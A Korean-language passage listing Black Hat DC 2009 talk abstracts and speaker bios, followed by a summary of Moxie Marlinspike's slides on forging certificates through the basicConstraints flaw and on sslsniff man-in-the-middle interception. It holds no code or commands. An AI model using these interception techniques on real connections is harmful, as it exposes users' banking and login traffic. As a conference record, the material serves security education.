이 프레젠테이션은 암호화된 코드 실행과 Page-Granularity 코드 서명을 사용해 리버스 코드 엔지니어링과 소프트웨어 익스플로잇으로부터 보호해주는 에뮬레이션-기반 소프트웨어 보호 기법 2가지를 소개한다. SecureQEMY라 불리는 기법은 Quick Emulator의 수정된 버전을 사용한다. 프로그램 내부 작업을 노출하는 리버스 코드 엔지니어링은 취약점 및 지적재산을 찾아내는데 사용된다. 리버스 코드 엔지니어링으로부터 보호하기 위해 프로그램 코드에 안티-디스어셈블, 안티-디버깅, Obfuscation 기술 등이 혼합적으로 사용되지만, 리버스 코드 엔지니어링의 속도를 느리게 할 뿐, 일단 침입되면 소용이 없다. 암호화는 정적인 코드 보호를 제공하지만, 실행되기 전 암호화된 코드가 해독되어야 한다는 한계가 있다. SecureQEMU는 실행되는 동안 코드 암호화를 유지하는 방법으로 이 한계를 해결한다. 소프트웨어 익스플로잇은 설계와 구현상의 오류를 끄집어내 보안 정책을 침해하는 결과를 가져오는 의도하지 않은 동작을 유발할 수 있다. 익스플로잇으로부터 보호하기 위해 블랙리스트를 사용하지만 특수하게 제작된 익스플로잇을 사용하면 이 보호를 우회할 수 있다. SecureQEMU는 화이트리스트를 사용, 서명된 코드만 실행시킨다. 서명되지 않은 악성 코드 (익스플로잇, 백도어, 루트킷 등)는 실행되지 않은 채 남아있기 때문에 시스템을 보호할 수 있다.

William Kimball은 미 공군 기술연구소 사이버 작전 M.S, Dayton 대학교 컴퓨터 사이언스 B.S, 사이버스페이스 리서치 센터 연구 조교다. Fylasso Antivulnerability, ShellDeny, L.E.V.I. (블랙햇 US 2006에서 릴리스), SecureQEMU 개발자다. 블랙햇, ISSA, 오하이오 정보 보안 그룹, 오하이오 사이언스 아카데미에서 발표를 했고 미 공군 과학 자문위원회, 스웨덴 국방부, 기타 미국 군 및 정부 관리에게 정보를 제공했다.

기조 연설: 사이버 전략, 우유부단에서 리더십으로

Paul Kurtz

Paul Kurtz는 미국 정부와 민간부분이 사이버 공간에서 직면한 가장 절박한 과제를 짚어보고 앞으로 몇 년 동안 해결해야 할 우선과제를 소개한다.

Paul B. Kurtz는 인정받는 사이버 보안 및 국토 안보 전문가로, 미 클린턴, 부시 행정부 시절 백악관의 국가 안전 위원회와 국토안보 위원회에서 상급 관리로 재직했고, 현재 CBS 뉴스 온-에어 컨설턴트로 재직하면서 사이버 보안과 국토 안보 이슈를 클라이언트에 조언하는 업무를 수행하고 있다. 사이버 보안 산업 협회(Cyber Security Industry Alliance : CSIA) 창설 상임이사를 역임했고, 이후 Good Harbor에 합류했다. CSIA 이전에는 미 백악관 국토안보 위원회 대통령 특별 보좌관, 미 백악관 국토안보회(HSC) 주요기반구조보호 부소장으로 물리적 보안 및 사이버 보안을 담당했다. 2003년 국토안보회의(HSC)에 합류하기 전에는 미 백악관 국가안전위원회 NSC 사이버공간 보안 국가 안보 부소장, 대통령 직속 주요기반구조 보호 위원회 멤버로 국제적 사이버 공간 보안 국가 전략을 개발했다. 그 이전인 1999년부터 2001년까지는 NSC의 초국가적 위협 부서의 대테러리즘 디렉터로 재직했다. 그 이전에는 각종 국가 부서에서 대량 살상 비확산 정책과 전략적 군사 제어를 담당했다.

터키 Incirlik의 편의제공작전(Operation Provide Comfort) 정치 고문, 오스트리아 비엔나에서 과학 무관으로 복역했다. 각종 군사 시찰 팀에 참여해 이라크와 북한을 여행했다. 홀리 크로스 대학 학사, 존 홉킨스 대학교 국제학 석사학위 소유자다.

QuietRIATT: Hooking된 DLL 호출을 이용한 IAT Rebuild

Brian Krumheuer

리버스 엔지니어에 있어서 IAT(Import Address Table)를 Rebuild하는 것은 시간을 소비하고 지루한 과정일 수 있다. 현재의 IAT Rebuilder로는 어떤 요청도 해결하지 못하는 경우, 수작업으로 Rebuild하는 것 외에는 다른 방법이 별로 없다. 수작업으로 하면 규모에 따라 몇 주일 걸릴 수도 있고, 실수를 할 수도 있다.

QuietRIATT는 현재의 IAT 툴로는 할 수 없는 경우, IAT Rebuild 과정을 자동화해주는 IDA Pro 플러그인이다. 수작업으로 Rebuild하는 시간을 크게 줄여줄 뿐만 아니라 수작업으로 인한 인간의 오류도 해결해준다.

Brian Krumheuer는 Riverside Research 연구소 소프트웨어 보안 팀 리버스 엔지니어로, 리버스 엔지니어링 분야에 입문하기 전 8년 이상 IT와 소프트웨어 개발에 종사했다. 현재 윈도우즈와 리눅스용 ring-3와 ring-0 리버스 엔지니어링 툴을 다수 개발하는 중요한 역할을 하고 있다. 리버스 엔지니어링 교육 과정 개발도 도왔다.

Jason Raber는 Riverside Research 연구소 레드팀 기술 리드로, 미국 정부와 기업에 소프트웨어 보안 지원을 제공하고 있다. 주력 분야는

리버스 엔지니어링: 광범위한 소프트웨어 (윈도우즈, 리눅스, Mac, 임베디드 등을 포함한 각종 플랫폼 기반)에서 지적 재산 추출. 이 작업은 사용자 어플리케이션, DLL, 드라이버, OS 커널, 펌웨어를 포함한다.

맬웨어, 바이러스, 루트킷 분석: 침입 소프트웨어를 식별/분석해 위협으로부터 방어한다.

리버스 엔지니어링 경력 8년인 그는, 텍사스 인스트루먼트에서 5년 동안 DSP용 컴파일러 툴 (코드 생성기, 어셈블러, Linker, 디스어셈블러 등)을 개발했다. 리버스 엔지니어링에 입문하기 전 5년에 걸친 C 컴파일러 개발은 리버스 엔지니어링 작업에 머신 언어와 하드웨어가 사용되는 것을 이해하는 기초가 되었다.

재미와 수입을 위한 위성 해킹

Adam Laurie

지금 이 순간 공중에서는 얼마나 많은 데이터와 서비스가 방사되고 있을까? 수천개의 채널이 있다는 것은 알고 있지만, 전부 아는 방법은 없을까? 우리가 알기를 원하지 않는 것들을 알아내는 방법은? 그런 것이 있기는 할까? 그런 것들을 발견하면 그것을 갖고 무엇을 할 수 있을까? 어머니 말씀대로 장님이 될까?

이 프레젠테이션은 모든 위성과 주파수를 스캔해 그 속성을 알아내는 방법을 소개한다. 과거에는 제조사가 꺼렸기 때문에 문서화된 것이 없었고, 특수한 하드웨어, 인터페이스, 값비싼 수신기가 필요했지만, 현재는 DVB 카드와 임베디드 리눅스 수신기 (드림박스)만 있으면 가능하다. 350달러의 드림박스, Dish, 모터, 마운트, 모두 합쳐서 785달러만 있으면 장비를 구축할 수 있다.

Adam Laurie는 프리랜서 보안 컨설턴트로, 전자 커뮤니케이션 분야에서 활동하고 있다. 1970년대 하반기에 컴퓨터 산업에 입문, PDP-8과 다른 미니 컴퓨터 프로그래머로 일했고, 1980년대 각종 유닉스, Dos, CP/M 기반 마이크로 컴퓨터가 출현하면서 동 기종의 프로그래머로 일했다. 네트워크와 데이터 프로토콜에 흥미를 느낀 그는 프로그래밍을 그만두고 데이터 컨버전 업체를 차렸다. 이 회사는 동 분야 (A.L. 다운로딩 서비스)에서 최대의 전문업체로 급속히 성장했다. 이 기간 동안 그는 음악 CD는 컴퓨터에서 읽힐 수 없다는 업체의 주장이 거짓말임을 증명했고, 그의 형 벤의 도움으로 세계 최초의 CD Ripper 'CDGRAB'을 제작했다. 그와 벤은 당시 새롭게 떠오르던 인터넷 개념에 흥미를 갖고 각종 초기 오픈소스 프로젝트에 참여했다. 가장 잘 알려진 오픈소스 프로젝트는 아마도 'Apache-SSL'일 것이다.  'Apache-SSL'은 이후 웹 서버 보안의 사실상의 표준이 되었다. 1990년대 말부터 두 사람은 보안에 관심을 갖게 되어 인터넷 서비스와 소프트웨어 취약점들을 공개하는 각종 문서를 제작했고 지하 핵 벙커에 위치한 군사 데이터 센터를 안전한 호스팅 시설로 재활용하는 안에 대해 선구적인 역할을 했다. 1997년부터 데프콘 시니어 멤버로 활동했고, 블랙햇 브리핑 초기 스탭 멤버, 블루투스 SIG 보안 전문가 그룹 멤버로 활동하면서 블루투스 보안에 관해 국제적인 컨퍼런스에서 발표를 하고 있다. 포렌식, 마그네틱 스트라이프 기술, 인프라레드, RFID를 주제로 프레젠테이션도 발표했다. http://rfidiot.org 오픈 소스 파이선 RFID 탐구 라이브러리 'RFIDIOt' 제작자이자 운영자다.

스마트카드를 이용한 프라이버시 보장 데이터 마이닝

Andrew Lindell

데이터 마이닝(Data Mining)은 업체, 정부, 국토보안에 큰 이점을 제공하지만, 시민들에 관한 방대한 데이터의 Aggregation과 스토리지로 인해 불가피하게 프라이버시의 침해 결과를 가져온다. 데이터 마이닝이 제공하는 이점을 취하는 동시에, 프라이버시도 강화하기 위한 기술적 솔루션이 필요하다. 2008년 2월, 미 국가정보국이 작성한 데이터 마이닝 관련 보고서 (페이지 9-12)에서 보듯이 미국 정부는 데이터 마이닝의 필요성을 인식했다. 이 프레젠테이션은 프라이버시를 보존하는 데이터 마이닝 관련 Non-Trivial 작업을 위한 놀랄 만큼 간단하고 효과적으로 수행할 수 있는 프로토콜을 시연한다. 이 프로토콜은 표준 스마트카드와 표준 스마트카드 인프라를 사용하고, 동 문제점을 해결하는 최초의 실용적인 솔루션으로 강력한 보안을 보장한다.

Andrew Lindell은 Aladdin Knowledge Systems 수석 크립토그래퍼, 이스라엘 바일란 대학교 조교수로, 크립토그래피 관련 광범위한 연구를 수행했고, 50개 이상의 컨퍼런스와 저널을 통해 발표를 했고 크립토그래피 교재와 보안 프로토콜 관련 책을 저술했다. 많은 국제적 컨퍼런스, 워크샵, 대학교 세미나에서 발표를 했고, 크립토그래피 관련 최고의 국제 컨퍼런스 프로그램 위원으로 활동했다. 2004년 Aladdin Knowledge Systems에 합류해 수석 크립토그래피로 재직하면서 인증 설계, 스마트카드 어플리케이션, 소프트웨어 보호 설계 등의 설계와 구조에서 발생하는 크립토그래픽 문제점과 보안 문제점을 해결했다. 오늘날 발생하는 많은 중대한 문제점들에 대해 참신하고 통찰력 있는 시각을 제시한다.

침입당한 오라클 서버 포렌식 수사

David Litchfield

이 프레젠테이션에서 데이터베이스 포렌식 전문가 David Litchfield는 새로운 툴 Orablock과 문서를 발표한다. Orablock을 이용하면 포렌식 수사관들은 "Cold" 오라클 데이터 파일로부터 데이터를 Dump할 수 있다. 데이터베이스의 데이터 파일을 로드할 필요가 없기 때문에 데이터 파일이 편집되는 것을 걱정할 필요가 없다. 따라서 Orablock을 사용하면 증거를 보존할 수 있다. Orablock은 "부패한" 데이터 (삭제되었거나 업데이트된 데이터)를 찾아내는데도 사용될 수 있다. 데이터 블록의 SCN을 Dump하는데도 사용될 수 있기 때문에 침입당한 오라클 시스템 조사에 유용하게 사용될 수 있다.

David Litchfield는 데이터베이스 시스템과 웹 어플리케이션 신종 위협 탐색 전문가로, 영국과 미국 정부 보안 기관들을 대상으로 데이터베이스 보안을 강의했고, 블랙햇 보안 프리핑에서 정기적인 발표를 갖고 있다. "The Database Hacker's Handbook", "The Shellcoder's Handbook", "SQL Server Security", "Special Ops" 공동 저자다. 여가 시간에는 Next Generation Security Software사의 수석 사이언티스트로 시간을 보낸다.

SSL/TLS를 무력화시키는 신종 테크닉

Moxie Marlinspike

이 프레젠테이션은 온라인 뱅킹, 웹메일 보안 로그인 등 많은 웹 어플리케이션에서 사용되는 SSL/TLS 보안 전송 트래픽을 몰래 변경/삽입/로그하는 새로운 툴과 기술들을 시연한다. SSL 익스플로잇 툴을 소개하고, 2002년 발표했던 브라우저의 BasicConstraints 검증 실패 관련 취약점을 소개하고, 실제 환경에서 수행한 필드 테스팅을 통해 수집한 데이터를 공개한다.

Moxie Marlinspike는 전문 보안 커뮤니티로부터 멀찌감치 떨어져 전혀 엉뚱한 사람들과 어울리는 경향이 있다. 피츠버그의 Hack The Planet 연구소에서 활동하는 그는 시간이 나면 화물 기차를 타고 여행을 하거나 버려진 보트를 타고 바다를 항해한다. 현재 무직으로 일자리를 구하고 있다.

윈도우즈 비스타 보안

Michael Muckin

이 프레젠테이션은 윈도우즈 비스타에서 변경된 보안 기능 중 일부인 보안 모듈, 인증, 패스워드, 네트워크 커뮤니케이션, IPSec 강화 관련된 기능들을 주로 살펴본다. 이 프레젠테이션의 주된 목적은 이 변경이 무엇을 의미하는지, 현존하는 것을 수정하거나 새로운 툴을 제작하는데 필요한 지식, 새로운 보안 구조에 존재하는 위험을 탐색하고 이해하도록 하는데 있다. 잠재적으로 취약한 영역을 제시하고 상세히 설명한다. 변경된 것들은 주로 많은 연구와 보안 테스트, 리버스 엔지니어링을 통해 발견한 것들이다. 이 프레젠테이션은 이미 다른 곳에서 발표되었던 DEP, ASLR, 기타는 다루지 않는다. 이 지식은 여러분을 익스플로잇의 바다로 인도할 것이다.

Michael Muckin은 록히드 마틴 시큐리티 엔지니어링 팀 리드로, 침투 테스트, 취약점 리서치, 리버스 엔지니어링, 제품 평가, 기타 각종 보안 작업을 담당하고 있다. 록히드 마틴 이전에는 파운드스톤에서 프린시펄 컨설턴트, 마이크로소프트에서 엔터프라이스 서비스 그룹 보안 서비스 전문가로 재직했다.

당신의 얼굴은 패스워드가 아니다

Duc Nguyen

오늘날 생체인식은 우주적인 관심사가 되어 범죄자나 달갑지 않은 사람의 탐지/식별과 엑세스 컨트롤 등의 많은 목적에 개발되고 사용되고 있다. 이 프레젠테이션은 얼굴 인식 생체인식 시스템과 얼굴 인식 기반의 사용자 인증 어플리케이션에 관한 우려를 제시한다.

레노보, 아수스, 도시바는 이 기술을 실용적으로 적용해 고객들에게 큰 편리를 제공했다. 이런 기술은 사용자가 안심하고 사용해도 될 만큼 정말로 안전할까?

연구 결과, 3사 제품에 사용되는 기술은 인증 시스템에 필요한 보안 조건을 갖추지 못하고 있고, 조작으로부터 사용자를 완전히 보호하지 못한다는 결론을 얻게 되었다.

Duc Nguyen은 Bkis 선임 연구원으로, 베트남에서 잘 알려진 보안 소프트웨어 Bkav 안티바이러스와 Bkav 방화벽 개발에 역할을 했다. 네트워크 보안과 보안 취약점 연구의 기술 및 관리를 담당하고 있다. 베트남의 은행, ISP 등을 대상으로 하는 Bkis 보안 교육 과정 강사이기도 하다.

Transparent Emergency Data Destruction

Warren Roberts

Transparent Emergency Data Destruction은 적을 만났을 때 신속하고 조심스럽게 정보를 파기하게 해준다. 컴퓨터가 부팅되어 사용자 패스워드를 입력할 때, 비상 Duress 패스워드를 입력하면 데이터에 접속하지 못하게 할 수 있다.

proof-of-concept는 Ubuntu 리눅스 환경에서 제작되었고, 표준 전체 디스크 암호화 유틸리티, 기본 운영 시스템의 읽기만 가능한 인스톨, 수정된 부팅 스크립트를 사용한다. 데이터 파기에 소요되는 시간은 운영 시스템 부팅에 소요되는 시간에 비하면 무시해도 좋고, 퍼포먼스도 적다.

Warren Roberts는 미국 털사(Tulsa)대학교 ISEC 리서치 사이언티스트로, ISEC에서 위험-적응 엑세스 컨트롤 (Risk-Adaptive Access Control)을 담당했다가 이후 Transparent Emergency Data Destruction 연구로 전환했다.

메모리 Snort

Peter Silberman

NIDS는 거의 10년 동안 네트워크 보안 전문가들이 인프라에 대한 공격 식별에 사용하는 아주 중요한 기술이었다. 최신 맬웨어에 대한 시그니처를 제공하는 소스나 화요일 패치 익스플로잇을 제작하는 소스는 많다. 많은 환경에서 이 네트워크-기반 식별자들은 호스트 메모리에 존재하고 NIDS 제품에 사용되는 것과 동일한 시그니처를 사용하면 탐지될 수 있다. 이 프레젠테이션은 이 네트워크-기반 시그니처를 사용해 맬웨어나 쉘코드가 있는 호스트를 메모리 포렌식 분석 기술로 식별하는 기법을 소개한다. 메모리에서 Snort 시그니처를 사용하면 좋은 점은 다음과 같다: 맬웨어는 아직 네트워크상으로 스트링을 전송하지 않았을 수 있다; 네트워크상의 스트링을 암호화하는 맬웨어는 암호화 라이브러리 일부를 호출하기 이전에 메모리의 스트링 암호화를 해독했을 수 있다. 이 프레젠테이션은 Snort IDS 시그니처를 Memoryze™ 필터로 변환시키는 새로운 툴 마인드스니퍼를 소개한다. 시연을 통해 현존하는 시그니처를 사용해 필터로 변환시켜 이 필터가 라이브 시스템 메모리나 메모리 이미지의 맬웨어나 잠재적인 쉘코드를 어떻게 식별하는지를 보여준다.

Peter Silberman은 MANDIANT 제품 개발팀으로, 다년간 커널 공격 및 방어 기술을 개발하고, 리버스 엔지니어링, 취약점 발견을 수행했다. 리버스 엔지니어링과 루트킷 분석 문제점에 대한 솔루션을 자동화하는 것을 즐긴다.

웹 공격 분석하기

Val Smith, Colin Ames

정보를 훔치기 위한 웹과 클라이언트-사이드 공격이 늘고 있다. 좀 더 흥미롭고 널리 전파된 공격 중 일부는 중국과 러시아 같은 국가에서 비롯되는 것으로 보인다. 이 프레젠테이션은 이 공격들 중 몇 가지를 상세히 소개한다. 공격자들은 어떻게 많은 침투에 성공할 수 있었는지, 어떤 웹 인프라를 갖고 있는지, 어떤 흔적을 실수로 남겼기에 추적을 당했는지에 대한 정보를 제공한다. 이 정보는 이 공격의 진짜 근원지와 공격 목적에 대한 증거가 될 것이다.

Val Smith는 컴퓨터 보안 커뮤니티와 산업 10년 이상 경력 소유자로, 현재  보안 커뮤니티의 각종 문제점을 담당하는 보안 연구원으로 일하고 있다. 침투 테스트 (4만대 이상의 머신을 평가했다), 리버스 엔지니어링, 맬웨어 연구 전문이다. Metasploit 프로젝트 개발팀으로 활동하고 있고 다른 취약점 개발에도 참여하고 있다. 공개 오픈소스 맬웨어 연구 프로젝트인 Offensive Computing을 설립했고, 가장 최근에는 컴퓨터 기반 공격을 깊게 이해하기 위한 Attack Research를 설립했다.

Colin Ames는 Attack Research 보안 연구원으로, 현재 침투 테스트, 익스플로잇 개발, 리버스 엔지니어링, 맬웨어 분석을 담당하고 있다.

양의 가죽을 쓴 늑대: 퍼시스턴트(Persistent) 웹 브라우저 스토리지의 위험

Michael Sutton

웹 2.0으로 인해 데스크탑과 웹 어플리케이션의 경계가 점점 모호해짐에 따라, 브라우저 기능은 애당초 의도했던 것 이상이 되고 있다. 퍼시스턴트 클라이언트-사이드 스토리지는 웹 어플리케이션의 필수 조건이 되었다. 퍼시스턴트 쿠키, 플래시 스토리지, 구글 기어스 등 각종 기술은 이 필요성을 충족시키고 있다. 이 기술들은 많은 것을 약속하지만, 개발자들 다수는 보안 구현을 이해하지 못하고 있다.

현재 사용되는 이 기술들을 연구한 결과, 광범위한 취약점이 발견되었다. 현재 공격자들은 타겟 사용자를 1번만 공격하는 것이 아니라, 타겟 사용자가 사이트를 방문할 적마다 매번 타겟으로 삼아 공격을 할 수 있다. 사용자가 주어진 어플리케이션으로 정보를 교환할 적마다 업데이트된 중요한 정보가 공격자에게 전송된다고 가정해보자. 공격자는 더 이상 공격 타이밍을 걱정할 필요가 없다. 스토리지 제한, 쿠키 만료도 문제가 되지 않는다. 가상적으로 무제한의 스토리지와 생명주기 덕분에 전체 데이터베이스에 접속할 수 있기 때문이다. 이 공격이 이론적이라는 생각이 든다면 다시 생각해 봐야 할 것이다. 이 프레젠테이션은 이 기술들을 탐색하고 이 기술들을 적절하게 이해하지 못했을 때 야기되는 위험을 짚어본다. 새로운 차원의 크로스-사이트 스크립팅을 포함, 알려지지 않은 실제 세상의 각종 취약점들을 상세히 소개한다.

인텔 TXT(Trusted Execution Technology) 공격

Rafal Wojtczuk & Joanna Rutkowska

이 프레젠테이션은 Intel® TXT의 원리와 보다 안전한 시스템을 구축하기 위해 어떻게 사용될 수 있는지를 소개한다. TXT 구현상 취약점과 이 취약점을 실용적으로 익스플로잇하는 방법도 소개한다. tboot (Xen과 리눅스에서 사용되는 Intel®의 신뢰받는 부팅 구현) 익스플로잇도 소개한다.

Rafal Wojtczuk은 컴퓨터 보안 10년 이상 경력 소유자로, 유명 운영 시스템과 가상화 소프트웨어에서 취약점들을 발견했고, 부분적으로 랜덤화된 어드레스 스페이스 환경에서의 버퍼 오버플로우 익스플로잇을 포함, 고급 익스플로잇 테크닉 관련 문서들을 발표했다. Low-Level  패킷 어셈블리 라이브러리 libnids 제작자이기도 하다. 2008년 7월, 하이퍼바이저 보안 연구 업체 Invisible Things Lab에 합류했다.

Joanna Rutkowska는 스틸스 맬웨어와 시스템 침입 분야에서 잘 알려진 연구원으로, 지난 수년간 동 분야 관련해 놀랄만한 개념과 공격/방어 기술을 발표했다. 국제적인 언론에 여러 차례  언급되었다. 전 세계 보안 컨퍼런스에서 자주 발표를 갖는다. 2007년 운영 시스템과 가상화 시스템 보안 컨설팅 전문 업체 Invisible Things Lab를 설립했다.

DNS 방어, 카민스키 이후

Paul Wouters

카민스키 버그는 모든 사람들로 하여금 DNS를 픽스하도록 했다. 정말 그랬을까? 대형 DNS 업체들 대부분은 조치를 취했지만, 소규모 업체들은 여전히 취약하다. 사람들은 DNS 인프라를 변경하는 것에 대해 겁을 먹고 있다. 전 세계가 DNSSEC 쪽으로 기울어가는 추세지만 DNSSEC이 전면 적용되려면 최소한 앞으로 2년이 걸린다.

많은 사람들의 생각과는 달리. IETF는 사용자들을 DNSSEC이 적용될 때까지 암흑 속에 내버려두지 않을 예정이다. IETF는 적용 가능한 가시적인 예비수단을 마련했다. 이 프레젠테이션은 현재의 DNS 인프라에 최소한의 변경을 가하고 구현할 수 있는 방어 기법을 소개한다. 번스타인의 dnscurve도 설명한다.

Paul Wouters는 크립토그래피, 디지털 권한, 사이버펑크 프로젝트에 자주 참여한다. 1996년 네덜란드 ISP "Xtended Internet"를 공동 설립했고, 2003년 리눅스 IPSec 소프트웨어 "Openswan" 개발/유지를 전문으로 하는 VPN 테크놀로지 전문 업체 Xelerance를 공동 설립했다. DNSSEC의 세계적인 적용에 앞장섰고, 현재 IETF와 RIPE에서 활동하고 있다. 2006년 출판된 "VPN과 Openswan 구축 및 통합"을 공동 저술했다. 현재 유명 인스턴트 메신저 암호화 소프트웨어 "Off the Record"를 포함한 크립토그래픽 소프트웨어와 레드햇의 페도라, RHEL 리눅스용 DNS 관련 패키지를 보수하고 있다. 여행을 하지 않을 때는 http://hacklab.to/에서 만날 수 있다.

Masibty: 변칙 탐지 기반의 웹 어플리케이션 방화벽

Stefano Zanero

현재 사용되고 있는 웹 어플리케이션 방화벽과 ISP들은 잘못 사용되기 때문에 (예를 들어 룰에만 의존하는 등) 기본적으로 쓸모가 없다. 잘못 사용되는 탐지기로는 진화하는 공격, 회피 기술, 맞춤형 어플리케이션을 따라잡을 수 없다. 보다 나은 변칙(Anomaly) 탐지기가 절실한 시점이다. Masibty는 웹 어플리케이션 공격을 탐지하는 변칙(Anomaly) 탐지 리버스 프록시로, 제로데이 공격 탐지 기능을 제공한다. 확장이 쉽고, DOM 트리의 Anomaly를 탐지/차단하고 (따라서 XSS 공격을 차단해준다), 어플리케이션 Parameter의 변칙(Anomaly)를 탐지/차단하고, URL Rewriting에 대해 원상복구하는 기능을 갖고 있다. Masibty 몇 개월 동안 수집한 널리 사용되는 익스플로잇에 대해서 각종 회피 기법을 사용해 테스트되었다.

Stefano Zanero는 이탈리아 국립 밀라노 공과대학 컴퓨터 엔지니어링 PH.D. 조교수로, 현재 연구 관심사는 Unsupervised Learning Algorithm 기반의 IDS 개발, 웹 어플리케이션 보안, 컴퓨터 바이러스학이다. 국제적인 과학 및 기술 컨퍼런스에서 발표를 했고, 책들과 문서를 공동 저술했다. 각종 주요 국제 컨퍼런스와 "Journal in Computer Virology" 멤버, "ACM Computing Reviews"와 "IEEE Security&Privacy" 리뷰어로 활동하고 있다. IEEE, ACM 멤버, ISSA 이탈리아 창립 멤버다. 컴퓨터월드 이탈리아 컬럼니스트로 2003년 저널리즘 상을 수상했다. 2004년부터 이탈리아 밀라노의 정보 보안 교육 및 컨설팅 전문 업체 시큐어 네트워크의 파트너 겸 CTO로 재직하고 있다.

BGP Man-In-The-Middle 공격 방어

Earl Zmijewski

알렉스 필로소브와 토니 카펠라는 데프콘 16에서 타겟으로 가는 트래픽을 하이재킹한 후 다시 예정된 대로 타겟으로 보내는 신종 BGP 공격을 발표했다. 이 공격을 이용하면 타겟으로 가는 모든 Incoming 트래픽의 조작 및 도청이 가능하다. 이 프레젠테이션은 이 위협을 이해하고, 이 위협이 인터넷 라우팅의 신뢰 모델을 어떻게 침입하는지를 알아보고, 탐지 기법을 평가한다. Prefix De-Aggregation, 유효하지 않은 출처, AS Adjacency, 예기치 못한 AS 경로도 소개한다.

Earl Zmijewski는 Renesys에서 인터넷 데이터 소프트웨어, 서비스, 운영을 담당하고 있다. 컴퓨터와 IT 특히 네트워크와 보안 분야 20년 이상 경력 소유자로, Renesys 이전에는 Fluent Inc.에서 12년 이상 재직하면서 미국, 유럽, 아시아 지사 설립에 공헌했다. Fluent 이전에는 코넬 대학교, 캘리포니아 대학교, 제임스 매디슨 대학교 등에서 재직했다. 코넬 대학교 컴퓨터 사이언스 PhD, MS, 존 홉킨스 대학교 수리 과학부 MS, BA 학위 소유자다.

▶ [블랙햇 DC 2009 발표자료] SSL을 무력화시키는 신종 기법

(출처: http://www.blackhat.com/html/bh-dc-09/bh-dc-09-archives.html#)

발표자: Moxie Marlinspike (moxie@thoughtcrime.org)

SSL과 인증서 변경하기

SSL과 인증서의 역할에 관해서는 익히 알고 있을 것이다.

좀 더 정확히 알아보자.

인증 단계는 아래와 같을 수 있다 (3단계 이상일 수 있다)

이 인증 단계는 어떤 과정을 거쳐서 인증되는 것일까? 사람들의 설명은 거의 한결같다.

리프 노드에 접속하는 사이트 네임이 있는지를 검증한다.

리프 노드가 만료되었는지를 검증한다.

서명을 체크한다.

만일 서명 인증서가 루트 CA 리스트에 있다면 검증을 마친다.

서명 인증서가 루트 CA 리스트에 있지 않다면 다음 단계로 넘어가서 반복한다.

만일 아래와 같다면 어떨까...

만일 이렇다면...

사람들은 말한다:

리프 노드가 접속하는 접속하고 있는 사이트 이름을 갖고 있는지를 검증한다.

리프 노드가 만료되었는지를 검증한다.

서명을 체크한다.

서명된 인증서가 루트 CA에 있다면 검증을 마친다.

서명된 인증서가 루트 CA에 있지 않다면 다음 단계로 넘어간다.

뭔가 잘못된 것 같다. 하지만,

모든 서명은 유효하다.

만료된 것은 아무것도 없다.

모든 단계는 빈틈이 없다.

루트 CA는 브라우저에 임베드되었고 신뢰할 수 있다.

하지만 우리는 방금 유효한 PayPal용 인증서를 생성했지 않은가?

PayPal이 아니었다는 말인가?

우리가 미처 생각 못한 것은 좀 모호한 필드다.

종전에는

대부분 CA는 basicConstraints를 명확히 설정하지 않았다: CA=FALSE

많은 웹 브라우저와 SSL은 이 필드의 유무 여부를 체크하지 않았다.

유효한 리프 노드 인증서만 있으면 어떤 도메인에도 리프 노드를 생성하고 서명할 수 있었다.

완전한 인증 단계를 거쳐서 제시되는 경우, 인터넷 익스플로러, Konqueror, OpenSSL 등은 유효한 것으로 간주했다.

2002년...

마이크로소프트는 SSL 디지털 인증서라는 아주 귀찮은 것을 만들었다.

그래서 필자는 인터넷 익스플로러의 SSL 구현에 man-in-the-middle을 허용하는 취약점이 존재하고, 이 취약점을 이용하면 오류 메시지나 대화창이 뜨지 않는다고 발표했다.

마이크로소프트는 이 취약점은 익스플로잇이 불가능하다고 주장했다.

그래서 필자는 이 취약점을 익스플로잇하는 툴 sslsniff를 발표했다.

SSLsniff

사람들은 BasicConstraints를 체크하기 시작했다. BasicConstraints를 체크하기 이전에는:

어떤 도메인이든지 sslsniff를 이용해 유효한 리프 노드 인증서를 통과시키기만 하면

클라이언트가 접속 중인 도메인에 대한 인증서가 자동으로 생성되고,

인증서는 리프 노드로 서명되었다.

인터넷 익스플로러, Konqueror 등은 이 차이점을 알아차리지 못했다.

sslsniff, 그 이후:

basic constraints는 아직도 체크되지 않고 있다. 대부분 사용자는 취약점이 픽스된 브라우저에서 경고창이 뜨더라도 브라우저의 경고를 무시하고 그대로 클릭한다.

sslsniff는 아직도 SSL용 man-in-the-middle 공격 툴로 유용하게 사용되고 있다. MD5 Hash Collision 취약점을 익스플로잇한 연구원들은 CA 인증서를 얻은 뒤 sslsniff를 이용해 접속을 하이재킹했다.

sslsniff의 다른 용도는 나중에 발표될 예정이다.

화살표로 표시된 "Sign In" 버튼은 HTTPS 페이지를 링크하고 있지만, 페이지만 봐서는 링크된 URL이 HTTPS 링크인지 알 길이 없다. 버튼이기 때문에 마우스를 위에 대면 브라우저 바에 링크가 나타나지 않는다. 페이지 소스를 보면 되지만 서버에 소스를 요청해야 하는 파이어폭스같은 브라우저에서는 문제가 된다. 이런 유형의 Sign In은 오늘날에도 여전히 널리 사용되고 있다.

일반적인 공격 방법은 다음과 같다.

브라우저의 과거와 현재

과거: 긍정적인 피드백 시스템

* 과거에는 접속이 안전하다는 긍정적인 인식을 사용자에게 심어주기 위한 긍정적인 피드백 시스템이 사용되었다. 예를 들어,

페이지가 안전하다는 것을 알리기 위해서 많은 표시가 사용되었다.

작은 자물쇠 아이콘이 사용되었다.

안전한 사이트를 브라우징하는 경우, URL 주소창이 노란색으로 바뀌었다.

현재: 부정적인 피드백 시스템

* 현재는 접속이 안전하다는 긍정적인 인식을 사용자에게 심어주기 위한 긍정적인 피드백 시스템 대신, 접속이 안전하지 못하다는 부정적인 인식을 사용자에게 심어주기 위한 부정적인 피드백 시스템이 더 많이 사용되고 있다. 예를 들어, 안전하지 못한 접속을 하는 경우 경고창을 띄우거나, 대화창의 OK 버튼을 여러 번 클릭하는 단계를 거쳐야 비로소 접속할 수 있다. 부정적인 피드백 시스템은 다음과 같은 방법을 사용한다.

사이트가 안전하다는 것을 덜 강조한다.

작은 자물쇠 아이콘을 덜 사용한다.

파이어폭스의 주소창이 노랗게 바뀌는 기능이 사라졌다.

사용자에게 문제점을 알리는 것에 더욱 주력하게 되었다.

CA 서명되지 않은 인증서를 사용하는 사이트에 접속하려면 많은 단계를 거쳐야 된다.

결론

부정적인 피드백은 공격에 지장을 초래한다.

긍정적인 피드백은 있으면 좋지만, 없어도 공격에 그다지 지장을 초래하지 않는다.

사람들은 SSL을 어떻게 사용할까?

주소창에 https://를 입력하는 사람은 아무도 없다. 사람들은 일반적으로 아래 2가지 방법을 통해서만 SSL에 접속한다:

